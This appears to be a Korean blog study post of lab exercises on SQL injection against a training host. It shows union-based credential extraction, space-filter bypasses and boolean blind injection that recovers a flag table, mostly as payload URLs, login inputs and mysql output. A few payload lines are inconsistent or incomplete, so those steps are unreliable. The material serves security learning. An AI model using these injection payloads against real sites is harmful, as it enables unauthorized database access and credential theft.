연습1
SQL Injection 공격을 사용하여 관리자 계정을 획득하시오!
힌트1
> 로그인 페이지는 일반 사용자를 위한 페이지
> 관리자용 로그인 페이지는 따로 존재함
> 관리자용 로그인 페이지는 메인 페이지에 링크 없음
> URL 직접 입력, main 디렉터리가 아닌 별도의 디렉터리에 존재
=>200.200.200.7/admin/
힌트2
> MYSQL 버전이 4버전, Information_Schema 없음
> 테이블 이름 및 컬럼 이름을 조회X
> 입력 값이 문법 오류 발생이 되도록 전달 하면 Query를 응답 메시지에 포함하여 전달
> Query 볼수 있으면 테이블 이름 및 컬럼을 확인
힌트3
> Injection Vector
> http://200.200.200.7/customer/customer01.php?sub_page=&show=view&board=customer01&id=2&offset=0&select=&contents=&category=&pg=
> id 인자
풀이
http://200.200.200.7/admin/login.php 로그인화면에서
id = admin '1
pw = 아무숫자나 문자
로그인하면 아래 같이 Qry Err 에러가 뜬다.
Qry Err. : select * from admin where A_id='admin' 1' and A_pass='1'
> A_id , A_pass 두개의 속성이름을 알 수 있다.
인자값 개수를 알아내기 위해 아무 게시판 글에 들어가서 url에 비어있는 값을 지워보고
똑같이 내용이 나오면 지우고 아니면 지우지 않는다.
지울거 지워주고 id 값에 0을 넣어주면 내용이 비어진 상태로 변한다.
http://200.200.200.7/customer/customer01.php?show=view&board=customer01&id=0
문자열인지 숫자인지 확인하기 위해 and 연산을 사용해서 확인해본다.
http://200.200.200.7/customer/customer01.php?show=view&board=customer01&id=1%27%20and%201%23
> 확인결과 문자열로 판단되어 '를 넣어준다.
컬럼수 알아내기 위해 order by를 사용한다.
참고로 id=0는 문자열이라서 0다음에 ' 넣어줘야한다.
http://200.200.200.7/customer/customer01.php?show=view&board=customer01&id=0%27%20order%20by%2016%20%23
select 문에 16번까지 의 숫자를 넣고 화면에 뜨는 숫자를 확인하고 표시되는 숫자부분에 A_id와 A_pass를 넣어 출력하면 id 와 password가 뜬다.
http://200.200.200.7/customer/customer01.php?show=view&board=customer01&id=0%27%20union%20select%201,2,A_id,4,5,6,7,8,A_pass,10,11,12,13,14,15,16%20from%20admin%20%23
table : admin
column : A_id, A_pass
airconAdmin
sorkrhksflwkek
SQL Injection 유용한 문법
값을 거짓되게 하고 union으로 select 구문을 연결해준다.
> 컬럼 수는 하나씩 늘려가며 값이 뜰때까지 맟춰야한다.
> 공백(%20)이 필요하다.
http://www.a.com/board_view.php?no=-2%20%20union%20select%201,2,3,4,5%20%23
코드에 아래 명령어 추가하면 injection 공격이 막힌다.
$no = str_replace(" ", "", $no);
TAP(%09) 과 Line Feed(%0a) 16진수를 넣어 주면 인젝션 공격 가능
http://www.a.com/board_view.php?no=-2%09union%09select%091,2,3,4,5%20%23
http://www.a.com/board_view.php?no=-2%0aunion%0aselect%0a1,2,3,4,5%20%23
mysql 서버에서
mysql> select 'admin' ; 하면 값이 나옴
mysql> select admin ; 하면 에러뜸
> '' 로 묶으면 값으로 인식하고 ''이 없으면 컬럼명으로 인식한다.
mysql> select 0x61646d696e;
명령어는 ''없어도 검색 가능
mysql> select id,pass from member_tb where id='admin' ;
+-------+----------+
| id | pass |
+-------+----------+
| admin | P@ssw0rd |
+-------+----------+
1 row in set (0.02 sec)
mysql> select id,pass from member_tb where id=0x61646d696e ;
+-------+----------+
| id | pass |
+-------+----------+
| admin | P@ssw0rd |
+-------+----------+
> , 를 붙히면 문자가 각각 써짐
mysql> select 'a','b';
+---+---+
| a | b |
+---+---+
| a | b |
+---+---+
1 row in set (0.00 sec)
> 공백으로 문자 연결 가능
mysql> select 'a' 'b';
+----+
| a |
+----+
| ab |
+----+
1 row in set (0.00 sec)
> 공백없이 붙혀써도 문자 연결 가능
mysql> select 'a''b';
+-----+
| a'b |
+-----+
| a'b |
+-----+
1 row in set (0.00 sec)
mysql> select 'a' 'd' 'm' 'i' 'n';
+-------+
| a |
+-------+
| admin |
+-------+
1 row in set (0.00 sec)
공백 사용 못할 시 concat을 사용해서 문자를 만들 수 있다.
mysql> select concat('a', 'd', 'm', 'i', 'n');
+---------------------------------+
| concat('a', 'd', 'm', 'i', 'n') |
+---------------------------------+
| admin |
+---------------------------------+
1 row in set (0.01 sec)
char은 문자를 만들수 있는데 10진수를 사용해야한다.
mysql> select char(97);
+----------+
| char(97) |
+----------+
| a |
+----------+
concat 과 char을 같이 사용가능
mysql> select concat(char(97), char(100), char(109), char(105), char(110)) ;
+--------------------------------------------------------------+
| concat(char(97), char(100), char(109), char(105), char(110)) |
+--------------------------------------------------------------+
| admin |
+--------------------------------------------------------------+
1 row in set (0.00 sec)
mysql> select id, pass from member_tb where id=concat(char(97), char(100), char(109), char(105), char(110)) ;
+-------+----------+
| id | pass |
+-------+----------+
| admin | P@ssw0rd |
+-------+----------+
1 row in set (0.00 sec)
blind SQL Injection
id : admin' and 1#
pw : 아무거나
로그인 하면 로그인 성공
admin' and 0#
pw : 아무거나
로그인 하면 로그인 실패
> 조작은 되나 쿼리를 확인할 수 없다.
(문자, 자릿수, 자를 글자 수 )
> 자릿수는 1부터 시작한다.
mysql> select substr('admin', 1, 1);
+-----------------------+
| substr('admin', 1, 1) |
+-----------------------+
| a |
+-----------------------+
1 row in set (0.00 sec)
mysql> select substr('admin', 2, 1);
+-----------------------+
| substr('admin', 2, 1) |
+-----------------------+
| d |
+-----------------------+
1 row in set (0.00 sec)
mysql> select substr('admin', 3, 1);
+-----------------------+
| substr('admin', 3, 1) |
+-----------------------+
| m |
+-----------------------+
1 row in set (0.00 sec)
mysql> select substr('admin', 4, 1);
+-----------------------+
| substr('admin', 4, 1) |
+-----------------------+
| i |
+-----------------------+
1 row in set (0.00 sec)
mysql> select substr('admin', 5, 1);
+-----------------------+
| substr('admin', 5, 1) |
+-----------------------+
| n |
+-----------------------+
1 row in set (0.00 sec)
> ascii 코드로 표현
mysql> select ascii(substr('admin', 1, 1));
+------------------------------+
| ascii(substr('admin', 1, 1)) |
+------------------------------+
| 97 |
+------------------------------+
1 row in set (0.00 sec)
> 뒤쪽에 숫자를
mysql> select ascii(substr('admin', 1, 1)) >= 65 ;
+------------------------------------+
| ascii(substr('admin', 1, 1)) >= 65 |
+------------------------------------+
| 1 |
+------------------------------------+
1 row in set (0.00 sec)
mysql> select ascii(substr('admin', 1, 1)) < 65 ;
+-----------------------------------+
| ascii(substr('admin', 1, 1)) < 65 |
+-----------------------------------+
| 0 |
+-----------------------------------+
1 row in set (0.00 sec)
id : admin' and ascii(substr(database(),1,1)) >= 65#
pw : 아무거나
로그인 하면 성공
id : admin' and ascii(substr(database(),1,1)) >= 97#
id : admin' and ascii(substr(database(),1,1)) >= 110#
id : admin' and ascii(substr(database(),1,1)) >= 116#
id : admin' and ascii(substr(database(),1,1)) >= 119#
> 로그인 성공을 하면 반씩 줄여가며 실패가 뜰때까지 해본다.
id : admin' and ascii(substr(database(),1,1)) >= 121#
121에서 실패뜨면 = 을써서 같은지 확인
id : admin' and ascii(substr(database(),1,1)) = 119#
로그인 성공
id : admin' and ascii(substr(database(),1,1)) = 120#
로그인 실패
그러면 해당 글자는 119 (w) 이다..
이렇게 한글자 한글자 한글자 한글자 알아내야한다..
단어 갯수 알아보기
> 0뜨면 거짓 1 뜨면 참
mysql> select length(database()) >11 ;
+------------------------+
| length(database()) >11 |
+------------------------+
| 0 |
+------------------------+
1 row in set (0.00 sec)
mysql> select length(database()) >10 ;
+------------------------+
| length(database()) >10 |
+------------------------+
| 1 |
+------------------------+
1 row in set (0.00 sec)
admin' and ascii(substr(version(),1,1)) = 53#
>DBMS 버전은 5.X, Information_schema 있음
mysql> select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1;
+------------+
| table_name |
+------------+
| board_tb |
+------------+
1 row in set (0.00 sec)
> table name 길이 구하기
mysql> select length((select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1));
+-------------------------------------------------------------------------------------------------------+
| length((select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1)) |
+-------------------------------------------------------------------------------------------------------+
| 8 |
+-------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
mysql> select substr((select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1),1,1);
+-----------------------------------------------------------------------------------------------------------+
| substr((select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1),1,1) |
+-----------------------------------------------------------------------------------------------------------+
| b |
+-----------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
admin' and ascii(substr((select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1), 1,1)) >= 98#
> b
연습2
200.200.200.7/login/html
> blind SQL Injection
> webhacktest 데이터베이스에 있는 대문자 F로 시작하는 테이블의 값을 찾으시오
> 테이블의 컬럼은 1개 레코드도 1개, 레코드 값을 찾아야 함
풀이2
테이블 길이 구하기
admin' and length((select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1)) = 4#
admin' and ascii(substr((select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1), 1,1)) = 70#
> F
admin' and ascii(substr((select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1), 2,1)) = 108#
> l
admin' and ascii(substr((select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1), 1,1)) = 97#
> a
admin' and ascii(substr((select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1), 1,1)) = 103#
> g
column 길이 구하기
admin' and length((select column_name from information_schema.columns where table_name='Flag' limit 0,1)) = 4#
admin' and ascii(substr((select column_name from information_schema.columns where table_name='Flag' limit 0,1), 1,1)) = 72#
> H
admin' and ascii(substr((select column_name from information_schema.columns where table_name='Flag' limit 0,1), 2,1)) = 50#
> 2
admin' and ascii(substr((select column_name from information_schema.columns where table_name='Flag' limit 0,1), 3,1)) = 114#
> r
admin' and ascii(substr((select column_name from information_schema.columns where table_name='Flag' limit 0,1), 4,1)) = #
> e
레코드 길이 구하기
admin' and length((select H2re from webhacktest.Flag limit 0,1)) = 5#
admin' and ascii(substr((select H2re from webhacktest.Flag limit 0,1), 1,1)) = 71#
> G
admin' and ascii(substr((select H2re from webhacktest.Flag limit 0,1), 2,1)) = 48#
> 0
admin' and ascii(substr((select H2re from webhacktest.Flag limit 0,1), 3,1)) = 48#
> 0
admin' and ascii(substr((select H2re from webhacktest.Flag limit 0,1), 4,1)) = 100#
> d
admin' and ascii(substr((select H2re from webhacktest.Flag limit 0,1), 5,1)) = 33#
> !
테이블
Flag
컬럼
H2re
레코드
G00d!
Boolean-Based Blind Injection
vi web_test.py
'정보보안 > 공부 기록' 카테고리의 다른 글
ARP Spoofing, ragrouter (0) | 2023.01.01 |
---|---|
로드밸런싱 (0) | 2023.01.01 |
CSRF (0) | 2023.01.01 |
SQL Injection (0) | 2023.01.01 |
XSS (0) | 2023.01.01 |